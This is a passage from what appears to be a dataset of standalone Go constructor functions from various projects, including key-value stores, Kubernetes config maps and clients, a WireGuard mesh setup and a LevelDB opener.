(Config, error) {\n\tcfg := Config{\n\t\tfilesystem: fs,\n\t\tkubeCfg: kubeCfg,\n\t}\n\n\tif err := cfg.load(cfgFile); err != nil {\n\t\treturn cfg, err\n\t}\n\n\treturn cfg, nil\n}", "func newStore(c *Config) (*Store, error) {\n\tif c == nil {\n\t\tc = defaultConfig()\n\t}\n\tmutex := &sync.RWMutex{}\n\tstore := new(Store)\n\tstartTime := time.Now().UTC()\n\tfileWatcher, err := newWatcher(\".\")\n\tif err != nil {\n\t\tlog.Info(fmt.Sprintf(\"unable to init file watcher: %v\", err))\n\t}\n\tif c.Monitoring {\n\t\tmonitoring.Init()\n\t}\n\tstore.fileWatcher = fileWatcher\n\tstore.store = makeStorage(\"\")\n\tstore.keys = []string{}\n\tstore.compression = c.Compression\n\tstore.dbs = make(map[string]*DB)\n\tstore.lock = mutex\n\tstore.stat = new(stats.Statistics)\n\tstore.stat.Start = startTime\n\tstore.indexes = make(map[string]*index)\n\tc.setMissedValues()\n\tstore.config = c\n\tif c.LoadPath != \"\" {\n\t\terrLoad := loadData(store, c.LoadPath)\n\t\tif errLoad != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to load data: %v\", errLoad)\n\t\t}\n\t}\n\tstore.writer, err = newWriter(c.LoadPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to create writer: %v\", err)\n\t}\n\treturn store, nil\n}", "func makeKvStore(cluster []string, id int, port int, join bool, etcd bool) {\n\tdefer wg.Done()\n\tproposeC := make(chan string)\n\tdefer close(proposeC)\n\tconfChangeC := make(chan raftpb.ConfChange)\n\tdefer close(confChangeC)\n\n\t// raft provides a commit stream for the proposals from the http api\n\tvar kvs *kvstore\n\tgetSnapshot := func() ([]byte, error) { return kvs.getSnapshot() }\n\tcommitC, errorC, snapshotterReady := newRaftNode(id, cluster, join, getSnapshot, proposeC, confChangeC)\n\n\tkvs = newKVStore(<-snapshotterReady, proposeC, commitC, errorC)\n\n\t// the key-value http handler will propose updates to raft\n\tserveHttpKVAPI(kvs, port, confChangeC, errorC)\n}", "func NewKeyValue()(*KeyValue) {\n m := &KeyValue{\n }\n m.SetAdditionalData(make(map[string]interface{}));\n odataTypeValue := \"#microsoft.graph.keyValue\";\n m.SetOdataType(&odataTypeValue);\n return m\n}", "func NewConfigMap(cr *databasev1alpha1.PostgreSQL) (*v1.ConfigMap, error) {\n\tlabels := utils.NewLabels(\"postgres\", cr.ObjectMeta.Name, \"postgres\")\n\tabsPath, _ := filepath.Abs(\"scripts/pre-stop.sh\")\n\tpreStop, err := ioutil.ReadFile(absPath)\n\n\tif err != nil {\n\t\tlog.Error(err, \"Unable to read file.\")\n\t\treturn nil, err\n\t}\n\tconfigMap := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cr.ObjectMeta.Name + \"-postgresql-hooks-scripts\",\n\t\t\tLabels: labels,\n\t\t\tNamespace: cr.Spec.Namespace,\n\t\t},\n\t\tData: map[string]string{\n\t\t\t\"pre-stop.sh\": string(preStop),\n\t\t},\n\t}\n\n\treturn configMap, nil\n}", "func New(ctx context.Context, m map[string]interface{}) (storage.Registry, error) {\n\tvar c config\n\tif err := cfg.Decode(m, &c); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &reg{c: &c}, nil\n}", "func New(conf map[string]string) *Conf {\n\treturn &Conf{\n\t\tc: conf,\n\t}\n}", "func newEphemeralKV(s *concurrency.Session, key, val string) (*EphemeralKV, error) {\n\tk, err := newKV(s.Client(), key, val, s.Lease())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &EphemeralKV{*k}, nil\n}", "func (c *ContainerConfigMapSpec) Create() (client.Object, error) {\n\tcr := c.qserv\n\ttmplData := generateTemplateData(cr)\n\n\treqLogger := log.WithValues(\"Request.Namespace\", cr.Namespace, \"Request.Name\", cr.Name)\n\n\tname := c.GetName()\n\tnamespace := cr.Namespace\n\n\tlabels := util.GetContainerLabels(c.ContainerName, cr.Name)\n\troot := filepath.Join(\"/\", \"configmap\", string(c.ContainerName), c.Subdir)\n\n\tcm := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: scanDir(root, reqLogger, &tmplData),\n\t}\n\treturn cm, nil\n}", "func New(backend Backend, enc encapsulation.Encapsulator, granularity Granularity, hostname string, port int, subnet *net.IPNet, local, cni bool, cniPath, iface string, cleanup bool, cleanUpIface bool, createIface bool, mtu uint, resyncPeriod time.Duration, prioritisePrivateAddr, iptablesForwardRule bool, serviceCIDRs []*net.IPNet, logger log.Logger, registerer prometheus.Registerer) (*Mesh, error) {\n\tif err := os.MkdirAll(kiloPath, 0700); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create directory to store configuration: %v\", err)\n\t}\n\tprivateB, err := os.ReadFile(privateKeyPath)\n\tif err != nil && !os.IsNotExist(err) {\n\t\treturn nil, fmt.Errorf(\"failed to read private key file: %v\", err)\n\t}\n\tprivateB = bytes.Trim(privateB, \"\\n\")\n\tprivate, err := wgtypes.ParseKey(string(privateB))\n\tif err != nil {\n\t\tlevel.Warn(logger).Log(\"msg\", \"no private key found on disk; generating one now\")\n\t\tif private, err = wgtypes.GeneratePrivateKey(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := os.WriteFile(privateKeyPath, []byte(private.String()), 0600); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to write private key to disk: %v\", err)\n\t\t}\n\t}\n\tpublic := private.PublicKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcniIndex, err := cniDeviceIndex()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to query netlink for CNI device: %v\", err)\n\t}\n\tvar kiloIface int\n\tif createIface {\n\t\tlink, err := netlink.LinkByName(iface)\n\t\tif err != nil {\n\t\t\tkiloIface, _, err = wireguard.New(iface, mtu)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to create WireGuard interface: %v\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tkiloIface = link.Attrs().Index\n\t\t}\n\t} else {\n\t\tlink, err := netlink.LinkByName(iface)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to get interface index: %v\", err)\n\t\t}\n\t\tkiloIface = link.Attrs().Index\n\t}\n\tprivateIP, publicIP, err := getIP(hostname, kiloIface, enc.Index(), cniIndex)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to find public IP: %v\", err)\n\t}\n\tvar privIface int\n\tif privateIP != nil {\n\t\tifaces, err := interfacesForIP(privateIP)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to find interface for private IP: %v\", err)\n\t\t}\n\t\tprivIface = ifaces[0].Index\n\t\tif enc.Strategy() != encapsulation.Never {\n\t\t\tif err := enc.Init(privIface); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to initialize encapsulator: %v\", err)\n\t\t\t}\n\t\t}\n\t\tlevel.Debug(logger).Log(\"msg\", fmt.Sprintf(\"using %s as the private IP address\", privateIP.String()))\n\t} else {\n\t\tenc = encapsulation.Noop(enc.Strategy())\n\t\tlevel.Debug(logger).Log(\"msg\", \"running without a private IP address\")\n\t}\n\tvar externalIP *net.IPNet\n\tif prioritisePrivateAddr && privateIP != nil {\n\t\texternalIP = privateIP\n\t} else {\n\t\texternalIP = publicIP\n\t}\n\tlevel.Debug(logger).Log(\"msg\", fmt.Sprintf(\"using %s as the public IP address\", publicIP.String()))\n\tipTables, err := iptables.New(iptables.WithRegisterer(registerer), iptables.WithLogger(log.With(logger, \"component\", \"iptables\")), iptables.WithResyncPeriod(resyncPeriod))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to IP tables controller: %v\", err)\n\t}\n\tmesh := Mesh{\n\t\tBackend: backend,\n\t\tcleanup: cleanup,\n\t\tcleanUpIface: cleanUpIface,\n\t\tcni: cni,\n\t\tcniPath: cniPath,\n\t\tenc: enc,\n\t\texternalIP: externalIP,\n\t\tgranularity: granularity,\n\t\thostname: hostname,\n\t\tinternalIP: privateIP,\n\t\tipTables: ipTables,\n\t\tkiloIface: kiloIface,\n\t\tkiloIfaceName: iface,\n\t\tnodes: make(map[string]*Node),\n\t\tpeers: make(map[string]*Peer),\n\t\tport: port,\n\t\tpriv: private,\n\t\tprivIface: privIface,\n\t\tpub: public,\n\t\tresyncPeriod: resyncPeriod,\n\t\tiptablesForwardRule: iptablesForwardRule,\n\t\tlocal: local,\n\t\tserviceCIDRs: serviceCIDRs,\n\t\tsubnet: subnet,\n\t\ttable: route.NewTable(),\n\t\terrorCounter: prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\t\tName: \"kilo_errors_total\",\n\t\t\tHelp: \"Number of errors that occurred while administering the mesh.\",\n\t\t}, []string{\"event\"}),\n\t\tleaderGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_leader\",\n\t\t\tHelp: \"Leadership status of the node.\",\n\t\t}),\n\t\tnodesGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_nodes\",\n\t\t\tHelp: \"Number of nodes in the mesh.\",\n\t\t}),\n\t\tpeersGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_peers\",\n\t\t\tHelp: \"Number of peers in the mesh.\",\n\t\t}),\n\t\treconcileCounter: prometheus.NewCounter(prometheus.CounterOpts{\n\t\t\tName: \"kilo_reconciles_total\",\n\t\t\tHelp: \"Number of reconciliation attempts.\",\n\t\t}),\n\t\tlogger: logger,\n\t}\n\tregisterer.MustRegister(\n\t\tmesh.errorCounter,\n\t\tmesh.leaderGuage,\n\t\tmesh.nodesGuage,\n\t\tmesh.peersGuage,\n\t\tmesh.reconcileCounter,\n\t)\n\treturn &mesh, nil\n}", "func New() INI {\n\treturn INI{defaultSection: make(kvMap)}\n}", "func New(options file.Options) config.Configuration {\n\treturn file.NewFileConfiguration(\n\t\tfile.FullOptions{\n\t\t\tOptions: options.WithDefaults(),\n\t\t\tByteToMapReader: yamlFileValuesFiller,\n\t\t\tReflectionMapper: yamlFileValuesMapper,\n\t\t},\n\t)\n}", "func New(_ logger.Logf, secretName string) (*Store, error) {\n\tc, err := kube.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcanPatch, err := c.CheckSecretPermissions(context.Background(), secretName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Store{\n\t\tclient: c,\n\t\tcanPatch: canPatch,\n\t\tsecretName: secretName,\n\t}, nil\n}", "func (f *MemKv) newWatcher(ctx context.Context, key string, fromVersion string) (*watcher, error) {\n\tif strings.HasSuffix(key, \"/\") {\n\t\treturn nil, fmt.Errorf(\"Watch called on a prefix\")\n\t}\n\treturn f.watch(ctx, key, fromVersion, false)\n}", "func newConfigFromMap(cfgMap map[string]string) (*configstore, error) {\n\tdata, ok := cfgMap[configdatakey]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"config data not present\")\n\t}\n\treturn &configstore{data}, nil\n}", "func NewMetadata(\n\tlogger log.Logger,\n\tenableGlobalDomain dynamicconfig.BoolPropertyFn,\n\tfailoverVersionIncrement int64,\n\tmasterClusterName string,\n\tcurrentClusterName string,\n\tclusterInfo map[string]config.ClusterInformation,\n\treplicationConsumer *config.ReplicationConsumerConfig,\n) Metadata {\n\n\tif len(clusterInfo) == 0 {\n\t\tpanic(\"Empty cluster information\")\n\t} else if len(masterClusterName) == 0 {\n\t\tpanic(\"Master cluster name is empty\")\n\t} else if len(currentClusterName) == 0 {\n\t\tpanic(\"Current cluster name is empty\")\n\t} else if failoverVersionIncrement == 0 {\n\t\tpanic(\"Version increment is 0\")\n\t}\n\n\tversionToClusterName := make(map[int64]string)\n\tfor clusterName, info := range clusterInfo {\n\t\tif failoverVersionIncrement <= info.InitialFailoverVersion || info.InitialFailoverVersion < 0 {\n\t\t\tpanic(fmt.Sprintf(\n\t\t\t\t\"Version increment %v is smaller than initial version: %v.\",\n\t\t\t\tfailoverVersionIncrement,\n\t\t\t\tinfo.InitialFailoverVersion,\n\t\t\t))\n\t\t}\n\t\tif len(clusterName) == 0 {\n\t\t\tpanic(\"Cluster name in all cluster names is empty\")\n\t\t}\n\t\tversionToClusterName[info.InitialFailoverVersion] = clusterName\n\n\t\tif info.Enabled && (len(info.RPCName) == 0 || len(info.RPCAddress) == 0) {\n\t\t\tpanic(fmt.Sprintf(\"Cluster %v: rpc name / address is empty\", clusterName))\n\t\t}\n\t}\n\n\tif _, ok := clusterInfo[currentClusterName]; !ok {\n\t\tpanic(\"Current cluster is not specified in cluster info\")\n\t}\n\tif _, ok := clusterInfo[masterClusterName]; !ok {\n\t\tpanic(\"Master cluster is not specified in cluster info\")\n\t}\n\tif len(versionToClusterName) != len(clusterInfo) {\n\t\tpanic(\"Cluster info initial versions have duplicates\")\n\t}\n\n\treturn &metadataImpl{\n\t\tlogger: logger,\n\t\tenableGlobalDomain: enableGlobalDomain,\n\t\treplicationConsumer: replicationConsumer,\n\t\tfailoverVersionIncrement: failoverVersionIncrement,\n\t\tmasterClusterName: masterClusterName,\n\t\tcurrentClusterName: currentClusterName,\n\t\tclusterInfo: clusterInfo,\n\t\tversionToClusterName: versionToClusterName,\n\t}\n}", "func New(t *testing.T, cfg Config) *Environment {\n\te := &Environment{\n\t\thelmPath: \"../kubernetes_helm/helm\",\n\t\tsynkPath: \"src/go/cmd/synk/synk_/synk\",\n\t\tt: t,\n\t\tcfg: cfg,\n\t\tscheme: k8sruntime.NewScheme(),\n\t\tclusters: map[string]*cluster{},\n\t}\n\tif cfg.SchemeFunc != nil {\n\t\tcfg.SchemeFunc(e.scheme)\n\t}\n\tscheme.AddToScheme(e.scheme)\n\n\tvar g errgroup.Group\n\t// Setup cluster concurrently.\n\tfor _, cfg := range cfg.Clusters {\n\t\t// Make name unique to avoid collisions across parallel tests.\n\t\tuniqName := fmt.Sprintf(\"%s-%x\", cfg.Name, time.Now().UnixNano())\n\t\tt.Logf(\"Assigned unique name %q to cluster %q\", uniqName, cfg.Name)\n\n\t\tcluster := &cluster{\n\t\t\tgenName: uniqName,\n\t\t\tcfg: cfg,\n\t\t}\n\t\te.clusters[cfg.Name] = cluster\n\n\t\tg.Go(func() error {\n\t\t\tif err := setupCluster(e.synkPath, cluster); err != nil {\n\t\t\t\t// If cluster has already been created, delete it.\n\t\t\t\tif cluster.kind != nil && os.Getenv(\"NO_TEARDOWN\") == \"\" {\n\t\t\t\t\tcluster.kind.Delete(cfg.Name, \"\")\n\t\t\t\t\tif cluster.kubeConfigPath != \"\" {\n\t\t\t\t\t\tos.Remove(cluster.kubeConfigPath)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn errors.Wrapf(err, \"Create cluster %q\", cfg.Name)\n\t\t\t}\n\t\t\tlog.Printf(\"Created cluster %q\", cfg.Name)\n\t\t\treturn nil\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn e\n}", "func New(path, index string) (*Gpks, error) {\n\tfile, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinx, err := os.OpenFile(index, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinx.Close()\n\treturn &Gpks{\n\t\tsid: make(map[string]int64),\n\t\tnid: make(map[int64]int64),\n\t\tfile: file,\n\t\tpath: path,\n\t\tindex: index,\n\t\tmutex: new(sync.Mutex),\n\t}, nil\n}", "func (configMapTemplateFactory) New(def client.ResourceDefinition, c client.Interface, gc interfaces.GraphContext) interfaces.Resource {\n\tcm := parametrizeResource(def.ConfigMap, gc, configMapParamFields).(*v1.ConfigMap)\n\treturn report.SimpleReporter{BaseResource: newConfigMap{Base: Base{def.Meta}, ConfigMap: cm, Client: c.ConfigMaps()}}\n}", "func New(fs machinery.Filesystem) store.Store {\n\treturn &yamlStore{fs: fs.FS}\n}", "func NewFake(force bool) (m starlark.HasAttrs, closeFn func(), err error) {\n\t// Create a fake API store with some endpoints pre-populated\n\tcm := corev1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tAPIVersion: \"v1\",\n\t\t\tKind: \"ConfigMap\",\n\t\t},\n\t\tData: map[string]string{\n\t\t\t\"client-ca-file\": \"contents\",\n\t\t},\n\t}\n\tcmData, err := apiruntime.Encode(unstructured.UnstructuredJSONScheme, &cm)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tfm := map[string][]byte{\n\t\t\"/api/v1/namespaces/kube-system/configmaps/extension-apiserver-authentication\": cmData,\n\t}\n\n\ts := httptest.NewTLSServer(&fakeKube{m: fm})\n\n\tu, err := url.Parse(s.URL)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\th := \"https://\" + u.Host\n\ttlsConfig := rest.TLSClientConfig{\n\t\tInsecure: true,\n\t}\n\trConf := &rest.Config{Host: h, TLSClientConfig: tlsConfig}\n\n\tt, err := rest.TransportFor(rConf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tk := New(\n\t\th,\n\t\tfakeDiscovery(),\n\t\tdynamic.NewForConfigOrDie(rConf),\n\t\t&http.Client{Transport: t},\n\t\tfalse, /* dryRun */\n\t\tforce,\n\t\tfalse, /* diff */\n\t\tnil, /* diffFilters */\n\t)\n\n\treturn newFakeModule(k.(*kubePackage)), s.Close, nil\n}", "func New() kv.Store {\n\treturn newStore(newMapStore())\n}", "func NewKVStore() KVStore {\n\treturn &localStore{\n\t\tm: map[string][]byte{},\n\t}\n}", "func New(configFile string) *Config {\n\tc, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\tlog.Panicf(\"Read config file %s failed: %s\", configFile, err.Error())\n\t}\n\tcfg := &Config{}\n\tif err := yaml.Unmarshal(c, cfg); err != nil {\n\t\tlog.Panicf(\"yaml.Unmarshal config file %s failed: %s\", configFile, err.Error())\n\t}\n\treturn cfg\n}", "func newKubeBuilder(appMan Manifest) Builder {\n\treturn &KubeBuilder{Manifest: appMan}\n}", "func newKubeClient(kubeconfigPath string) (*versioned.Clientset, error) {\n\tvar err error\n\tvar kubeConf *rest.Config\n\n\tif kubeconfigPath == \"\" {\n\t\t// creates the in-cluster config\n\t\tkubeConf, err = k8s.GetConfig()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"build default in cluster kube config failed: %w\", err)\n\t\t}\n\t} else {\n\t\tkubeConf, err = clientcmd.BuildConfigFromFlags(\"\", kubeconfigPath)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"build kube client config from config file failed: %w\", err)\n\t\t}\n\t}\n\treturn versioned.NewForConfig(kubeConf)\n}", "func NewVMTConfig(client *client.Client, etcdStorage storage.Storage, probeConfig *probe.ProbeConfig,\n\tspec *K8sTAPServiceSpec) *Config {\n\tconfig := &Config{\n\t\ttapSpec: spec,\n\t\tProbeConfig: probeConfig,\n\t\tClient: client,\n\t\tEtcdStorage: etcdStorage,\n\t\tNodeQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\n\t\tPodQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\n\t\tVMTEventQueue: vmtcache.NewHashedFIFO(registry.VMTEventKeyFunc),\n\t\tStopEverything: make(chan struct{}),\n\t}\n\n\tvmtEventRegistry := registry.NewVMTEventRegistry(config.EtcdStorage)\n\n\t//delete all the vmt events\n\terrorDelete := vmtEventRegistry.DeleteAll()\n\tif errorDelete != nil {\n\t\tglog.Errorf(\"Error deleting all vmt events: %s\", errorDelete)\n\t}\n\n\t// Watch minions.\n\t// Minions may be listed frequently, so provide a local up-to-date cache.\n\t// cache.NewReflector(config.createMinionLW(), &api.Node{}, config.NodeQueue, 0).RunUntil(config.StopEverything)\n\n\t// monitor unassigned pod\n\tcache.NewReflector(config.createUnassignedPodLW(), &api.Pod{}, config.PodQueue, 0).RunUntil(config.StopEverything)\n\n\t// monitor vmtevents\n\tvmtcache.NewReflector(config.createVMTEventLW(), &registry.VMTEvent{}, config.VMTEventQueue, 0).RunUntil(config.StopEverything)\n\n\treturn config\n}", "func NewKVData(\n\tfeed *Feed,\n\tbucket, keyspaceId string,\n\tcollectionId string,\n\topaque uint16,\n\treqTs *protobuf.TsVbuuid,\n\tengines map[uint64]*Engine,\n\tendpoints map[string]c.RouterEndpoint,\n\tmutch <-chan *mc.DcpEvent,\n\tkvaddr string,\n\tconfig c.Config,\n\tasync bool,\n\topaque2 uint64) (*KVData, error) {\n\n\tkvdata := &KVData{\n\t\tfeed: feed,\n\t\topaque: opaque,\n\t\ttopic: feed.topic,\n\t\tbucket: bucket,\n\t\tkeyspaceId: keyspaceId,\n\t\tcollectionId: collectionId,\n\t\tconfig: config,\n\t\tengines: make(map[uint64]*Engine),\n\t\tendpoints: make(map[string]c.RouterEndpoint),\n\t\t// 16 is enough, there can't be more than that many out-standing\n\t\t// control calls on this feed.\n\t\tsbch: make(chan []interface{}, 16),\n\n\t\treqTsMutex: &sync.RWMutex{},\n\t\tgenServerStopCh: make(chan bool),\n\t\tgenServerFinCh: make(chan bool),\n\t\trunScatterFinCh: make(chan bool),\n\t\trunScatterDoneCh: make(chan bool),\n\n\t\tstats: &KvdataStats{},\n\t\tkvaddr: kvaddr,\n\t\tasync: async,\n\t\topaque2: opaque2,\n\t}\n\n\tuuid, err := common.NewUUID()\n\tif err != nil {\n\t\tlogging.Errorf(\"%v ##%x common.NewUUID() failed: %v\", kvdata.logPrefix, kvdata.opaque, err)\n\t\treturn nil, err\n\t}\n\tkvdata.uuid = uuid.Uint64()\n\n\tnumVbuckets := config[\"maxVbuckets\"].Int()\n\n\tkvdata.stats.Init(numVbuckets, kvdata)\n\tkvdata.stats.mutch = mutch\n\n\tfmsg := \"KVDT[<-%v<-%v #%v]\"\n\tkvdata.logPrefix = fmt.Sprintf(fmsg, keyspaceId, feed.cluster, feed.topic)\n\tkvdata.syncTimeout = time.Duration(config[\"syncTimeout\"].Int())\n\tkvdata.syncTimeout *= time.Millisecond\n\tfor uuid, engine := range engines {\n\t\tkvdata.engines[uuid] = engine\n\t}\n\tfor raddr, endpoint := range endpoints {\n\t\tkvdata.endpoints[raddr] = endpoint\n\t}\n\n\t// start workers\n\tkvdata.workers = kvdata.spawnWorkers(feed, bucket, keyspaceId, config, opaque, opaque2)\n\t// Gather stats pointers from all workers\n\tkvdata.updateWorkerStats()\n\n\tgo kvdata.genServer(reqTs)\n\tgo kvdata.runScatter(reqTs, mutch)\n\tlogging.Infof(\"%v ##%x started, uuid: %v ...\\n\", kvdata.logPrefix, opaque, kvdata.uuid)\n\treturn kvdata, nil\n}", "func newVRFKeyStore(db *gorm.DB, sp utils.ScryptParams) *VRF {\n\treturn &VRF{\n\t\tlock: sync.RWMutex{},\n\t\tkeys: make(InMemoryKeyStore),\n\t\torm: NewVRFORM(db),\n\t\tscryptParams: sp,\n\t}\n}", "func NewKVStore(envURL string) (KVStore, error) {\n\tu, err := url.Parse(envURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch u.Scheme {\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unrecognized scheme for KVStore URL: %v\", u.Scheme)\n\tcase \"consul\":\n\t\treturn makeConsulKVStore(u)\n\tcase \"file\":\n\t\treturn makeHashMapKVStore(u)\n\t}\n}", "func newVitessKeyspace(key client.ObjectKey, vt *planetscalev2.VitessCluster, parentLabels map[string]string, keyspace *planetscalev2.VitessKeyspaceTemplate) *planetscalev2.VitessKeyspace {\n\ttemplate := keyspace.DeepCopy()\n\n\timages := planetscalev2.VitessKeyspaceImages{}\n\tplanetscalev2.DefaultVitessKeyspaceImages(&images, &vt.Spec.Images)\n\n\t// Copy parent labels map and add keyspace-specific label.\n\tlabels := make(map[string]string, len(parentLabels)+1)\n\tfor k, v := range parentLabels {\n\t\tlabels[k] = v\n\t}\n\tlabels[planetscalev2.KeyspaceLabel] = keyspace.Name\n\n\tvar backupLocations []planetscalev2.VitessBackupLocation\n\tvar backupEngine planetscalev2.VitessBackupEngine\n\tif vt.Spec.Backup != nil {\n\t\tbackupLocations = vt.Spec.Backup.Locations\n\t\tbackupEngine = vt.Spec.Backup.Engine\n\t}\n\n\treturn &planetscalev2.VitessKeyspace{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tNamespace: key.Namespace,\n\t\t\tName: key.Name,\n\t\t\tLabels: labels,\n\t\t\tAnnotations: keyspace.Annotations,\n\t\t},\n\t\tSpec: planetscalev2.VitessKeyspaceSpec{\n\t\t\tVitessKeyspaceTemplate: *template,\n\t\t\tGlobalLockserver: *lockserver.GlobalConnectionParams(&vt.Spec.GlobalLockserver, vt.Namespace, vt.Name),\n\t\t\tImages: images,\n\t\t\tImagePullPolicies: vt.Spec.ImagePullPolicies,\n\t\t\tImagePullSecrets: vt.Spec.ImagePullSecrets,\n\t\t\tZoneMap: vt.Spec.ZoneMap(),\n\t\t\tBackupLocations: backupLocations,\n\t\t\tBackupEngine: backupEngine,\n\t\t\tExtraVitessFlags: vt.Spec.ExtraVitessFlags,\n\t\t\tTopologyReconciliation: vt.Spec.TopologyReconciliation,\n\t\t\tUpdateStrategy: vt.Spec.UpdateStrategy,\n\t\t},\n\t}\n}", "func NewKVStore(db *OrbitDB) *KVStore {\n\tkvs := &KVStore{\n\t\tdb: db,\n\t\tidx: &kvIndex{\n\t\t\tkv: make(map[string]string),\n\t\t},\n\t}\n\n\tmux := handler.NewMux()\n\tmux.AddHandler(OpPut, kvs.idx.handlePut)\n\tmux.AddHandler(OpDel, kvs.idx.handleDel)\n\n\tgo db.Notify(mux)\n\n\treturn kvs\n}", "func New(\n\tname string,\n\tkvdbName string,\n\tkvdbBase string,\n\tkvdbMachines []string,\n\tclusterID string,\n\tkvdbOptions map[string]string,\n) (AlertClient, error) {\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tif _, ok := instances[name]; ok {\n\t\treturn nil, ErrExist\n\t}\n\tif initFunc, exists := drivers[name]; exists {\n\t\tdriver, err := initFunc(\n\t\t\tkvdbName,\n\t\t\tkvdbBase,\n\t\t\tkvdbMachines,\n\t\t\tclusterID,\n\t\t\tkvdbOptions,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinstances[name] = driver\n\t\treturn driver, err\n\t}\n\treturn nil, ErrNotSupported\n}", "func New(indexer cache.Store) *Manager {\n\tlogger := &bgplog.Logger{Entry: log}\n\tc := &metallbctl.Controller{\n\t\tClient: bgpk8s.New(logger.Logger),\n\t\tIPs: metallballoc.New(),\n\t}\n\n\tf, err := os.Open(option.Config.BGPConfigPath)\n\tif err != nil {\n\t\tlog.WithError(err).Fatal(\"Failed to open BGP config file\")\n\t}\n\tdefer f.Close()\n\n\tconfig, err := bgpconfig.Parse(f)\n\tif err != nil {\n\t\tlog.WithError(err).Fatal(\"Failed to parse BGP configuration\")\n\t}\n\tc.SetConfig(logger, config)\n\n\tmgr := &Manager{\n\t\tController: c,\n\t\tlogger: logger,\n\n\t\tqueue: workqueue.New(),\n\t\tindexer: indexer,\n\t}\n\tgo mgr.run()\n\n\treturn mgr\n}", "func New(file string, configBytes []byte, log logging.Logger, namespace string, reg prometheus.Registerer) (database.Database, error) {\n\tparsedConfig := config{\n\t\tBlockCacheCapacity: DefaultBlockCacheSize,\n\t\tDisableSeeksCompaction: true,\n\t\tOpenFilesCacheCapacity: DefaultHandleCap,\n\t\tWriteBuffer: DefaultWriteBufferSize / 2,\n\t\tFilterBitsPerKey: DefaultBitsPerKey,\n\t\tMaxManifestFileSize: DefaultMaxManifestFileSize,\n\t\tMetricUpdateFrequency: DefaultMetricUpdateFrequency,\n\t}\n\tif len(configBytes) > 0 {\n\t\tif err := json.Unmarshal(configBytes, &parsedConfig); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: %s\", ErrInvalidConfig, err)\n\t\t}\n\t}\n\n\tlog.Info(\"creating leveldb\",\n\t\tzap.Reflect(\"config\", parsedConfig),\n\t)\n\n\t// Open the db and recover any potential corruptions\n\tdb, err := leveldb.OpenFile(file, &opt.Options{\n\t\tBlockCacheCapacity: parsedConfig.BlockCacheCapacity,\n\t\tBlockSize: parsedConfig.BlockSize,\n\t\tCompactionExpandLimitFactor: parsedConfig.CompactionExpandLimitFactor,\n\t\tCompactionGPOverlapsFactor: parsedConfig.CompactionGPOverlapsFactor,\n\t\tCompactionL0Trigger: parsedConfig.CompactionL0Trigger,\n\t\tCompactionSourceLimitFactor: parsedConfig.CompactionSourceLimitFactor,\n\t\tCompactionTableSize: parsedConfig.CompactionTableSize,\n\t\tCompactionTableSizeMultiplier: parsedConfig.CompactionTableSizeMultiplier,\n\t\tCompactionTotalSize: parsedConfig.CompactionTotalSize,\n\t\tCompactionTotalSizeMultiplier: parsedConfig.CompactionTotalSizeMultiplier,\n\t\tDisableSeeksCompaction: parsedConfig.DisableSeeksCompaction,\n\t\tOpenFilesCacheCapacity: parsedConfig.OpenFilesCacheCapacity,\n\t\tWriteBuffer: parsedConfig.WriteBuffer,\n\t\tFilter: filter.NewBloomFilter(parsedConfig.FilterBitsPerKey),\n\t\tMaxManifestFileSize: parsedConfig.MaxManifestFileSize,\n\t})\n\tif _, corrupted := err.(*errors.ErrCorrupted); corrupted {\n\t\tdb, err = leveldb.RecoverFile(file, nil)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: 